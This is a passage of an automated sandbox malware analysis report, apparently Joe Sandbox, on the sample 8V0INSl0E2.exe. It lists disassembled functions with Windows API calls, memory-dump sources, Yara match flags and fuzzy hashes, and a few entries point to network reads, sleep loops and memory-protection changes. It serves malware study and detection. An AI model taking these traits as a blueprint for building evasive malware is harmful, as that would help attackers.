SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04B5B00B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B5B002,04B5A5C6,04B59C00), ref: 04B5B019
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B5B027
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B5B040
SetLastError.KERNEL32(00000000,04B5B002,04B5A5C6,04B59C00), ref: 04B5B092

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: a22d7a9d761b21adbc66d7f6a5c9090f1c3ecbbf37cb90f7878395ae85dfe3c7
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6301A73270D3116FBB347FB87C84B66AB55EB016B872402BAFD24560F1EF5A78126548

Function 0040ADA4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040AD9B,0040A35F,00409999), ref: 0040ADB2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ADC0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ADD9
SetLastError.KERNEL32(00000000,0040AD9B,0040A35F,00409999), ref: 0040AE2B

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: f4b61bc4878066cd9e5532c4ff7823403916b0aca9ffed94e046062e6da044f3
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 6201D8722493125FE6342A76BC459572A54EB51779720033FF910B71E2EF3D4C32558E

Function 04B66383 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\8V0INSl0E2.exe, xrefs: 04B66388

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\8V0INSl0E2.exe
API String ID: 0-561037814
Opcode ID: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction ID: 20d8bfed093e877acf24d1604739c063d5bc26a8a21b0f918cd9d06d16735a23
Opcode Fuzzy Hash: 93954dfdee92f46bb96adc8c87a9eb3aaf0f63e636dd7cac714efb5796973790
Instruction Fuzzy Hash: 0521C6B2600205BFEB20AF6A9C81D7BB7ADEF442A87108594FD2BD7150E735FC4187A1

Function 0040BE17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BED8,?,?,0042B000,00000000,?,0040C003,00000004,InitializeCriticalSectionEx,0041EAF4,InitializeCriticalSectionEx,00000000), ref: 0040BEA7

Strings

api-ms-, xrefs: 0040BE67

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: 1d2ba87bd7351691bab4046b775a4f225d6c09ed93031ba1482b23a36008251d
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: 1B11C135A41620ABCB228B68DC45BDA7794EF02760F114632EE05B73C0D778EC058ADD

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 0040EF4F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040EF44,?,?,0040EF0C,00000000,74DEDF80,?), ref: 0040EF64
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040EF77
FreeLibrary.KERNEL32(00000000,?,?,0040EF44,?,?,0040EF0C,00000000,74DEDF80,?), ref: 0040EF9A

Strings

CorExitProcess, xrefs: 0040EF6F
mscoree.dll, xrefs: 0040EF5D

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction ID: a9aeb9bb373945a448fb4c2f2a76f55d061337ba3b70deabe2e5838c542f66b1
Opcode Fuzzy Hash: 607d73432645c26095c79918e0b94193a9778d3018f0e4e6e685341166a2a245
Instruction Fuzzy Hash: E0F0A070A0421AFBCB119B52ED09BDEBF78EF00759F144071F905B21A0CB788E11DB98

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 004136A0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00413724
__alloca_probe_16.LIBCMT ref: 004137EA
__freea.LIBCMT ref: 00413856

Part of subcall function 0041249E: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004124D0

__freea.LIBCMT ref: 0041385F
__freea.LIBCMT ref: 00413882

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction ID: 356f55c8d52bf468307c9bd9aee3ed648f54657124d7a114e97aef17e3d97ec8
Opcode Fuzzy Hash: 108019662ccab921f27eff110a88a80a1d8b3600edd5f6f257505aea3f790572
Instruction Fuzzy Hash: 6151D3B2600206ABEF20AF55CC41EEB36E9EF44755F15412EFD18E7290D738DE9186A8

Function 04D12AA0 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D12B24
__alloca_probe_16.LIBCMT ref: 04D12BEA
__freea.LIBCMT ref: 04D12C56
__freea.LIBCMT ref: 04D12C5F
__freea.LIBCMT ref: 04D12C82

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction ID: b25de5fbf0861ff6f32bce70894ab86a37678d9295d2bf5656f98d99cdb5a9c2
Opcode Fuzzy Hash: 378295b6f49c7a1482985147ff9c11c2e1bf4f3a81760b0e32bf93aa04d95b4b
Instruction Fuzzy Hash: A551C172700246BBEB245E64AC81FBB36AAEF84754F1541A9FE04F7160E732FC5196A0

Function 04B52BB7 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B52C5F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B52C74
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B52C82
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B52C9D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B52CBC

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction ID: 4fc65d6fc8a03ccf041c994ef5565c75c86e65851c9642f631fa0b0619b67ef5
Opcode Fuzzy Hash: 98a23b1f51539c79b15504070a912fe8a1d772cf35a21b11453b2abeaae28325
Instruction Fuzzy Hash: 59312471B01014AFDB08EF68DC40FAAB778EF48304F0541E9ED05EB262CB31A912CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 04B67248 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 04B67260

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B67272
_free.LIBCMT ref: 04B67284
_free.LIBCMT ref: 04B67296
_free.LIBCMT ref: 04B672A8

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: 3bd1fd97e653c7c93c176adc087a0a1db0c57e468ce2c75ad3a020cf4e7c3569
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: 86F06232614214BB8A34EB6CF986C2673EDFB01724BA40895F51AD7504CF3CFC914A64

Function 00416FE1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00416FF9

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041700B
_free.LIBCMT ref: 0041701D
_free.LIBCMT ref: 0041702F
_free.LIBCMT ref: 00417041

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction ID: 1bbc7c59558bdb80d40cd5d769ae83ba842cf1fe79b15496f27bd1d3c69b9f62
Opcode Fuzzy Hash: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction Fuzzy Hash: 2AF04432705240678534DB5DE486D967BE9AF44760758481BF508D7A12D73CFCD0465C

Function 04D163E1 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D163F9
_free.LIBCMT ref: 04D1640B
_free.LIBCMT ref: 04D1641D
_free.LIBCMT ref: 04D1642F
_free.LIBCMT ref: 04D16441

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: fadb30e9e11332abe34e42c4b409b48c0acfb3ca8b2eaa97aef6f70e6d578de2
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: D8F06272705210B78625EF5DF9C6C2673D9FB00720BA48819FC08D7922CB35F8918665

Function 04B558D0 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 476COMMON

Download Yara Rule

Strings

rB, xrefs: 04B56527
rB, xrefs: 04B559EE
O*, xrefs: 04B55A5F

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID: O*$rB$rB
API String ID: 0-546290271
Opcode ID: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction ID: 99cb01f746eb7b7e86607f816457fd652bf91f34b7f8d3e344da72a93b4e844a
Opcode Fuzzy Hash: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction Fuzzy Hash: 1A12CF71D012489BEB19EBB8DC54BEEF774AF54308F5080E8D805671A1EB34BA49CFA1

Function 04B5516B Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B593D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B593E2
Part of subcall function 04B593D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B5941F

__Init_thread_footer.LIBCMT ref: 04B551B2

Part of subcall function 04B5938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B59397
Part of subcall function 04B5938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B593CA

Sleep.KERNEL32(000007D0), ref: 04B5552A
Sleep.KERNEL32(000007D0), ref: 04B55544

Strings

updateSW, xrefs: 04B5544F

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep$Init_thread_footer
String ID: updateSW
API String ID: 500923978-2484434887
Opcode ID: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction ID: dcf0138a4b6712d066d61a73c1751368042895238e92c1c8cd299839a1203e44
Opcode Fuzzy Hash: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction Fuzzy Hash: F9D1D671A001649BEB29EB28CC8879DF771EF81309F5441E9DC096B2A5DB75AEC4CF81

Function 04B62A89 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B62B10

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 2b89a8f42461ff02cd40fdb1c34544fcbc341af2e816b3d3e60f3ff1d9a816d3
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 2AB10632E042569FFB19EF28C881BBEBBF5EF45344F1445E9D8569B281D63CA901CB60

Function 00412822 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004128A9

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction ID: 6012ccbf35aa319517377e765832e55e269021952583a9b626e33c473f35baf7
Opcode Fuzzy Hash: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction Fuzzy Hash: A6B13571A002459FDB25CF68CA817EEBBE1EF55340F14816BD845EB341D2BC9992CB68

Function 04D11C22 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04D11CA9

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: ba11a2a9c9af2f47868fe5736438ab9c67396745c4f17c3b38101dc148863e2d
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 57B15C72A00246BFEB11CF64E8807EEBBF5FF49350F14456ADE519B351D634A902CB60

Function 04B51AE7 Relevance: 6.3, APIs: 4, Instructions: 298networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B51B6C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B51B8B

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction ID: 8dc5865511a4316386b6f13be5d59717194a85531fbc1b293327a91944b0f5cd
Opcode Fuzzy Hash: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction Fuzzy Hash: C8C15A70A002189FEB25DF28CD84BEAF7B5FB49704F1045D8E909A76A0DB75BA84CF50

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04B5B0EB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B5B1B2
___AdjustPointer.LIBCMT ref: 04B5B1D5
___AdjustPointer.LIBCMT ref: 04B5B271

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
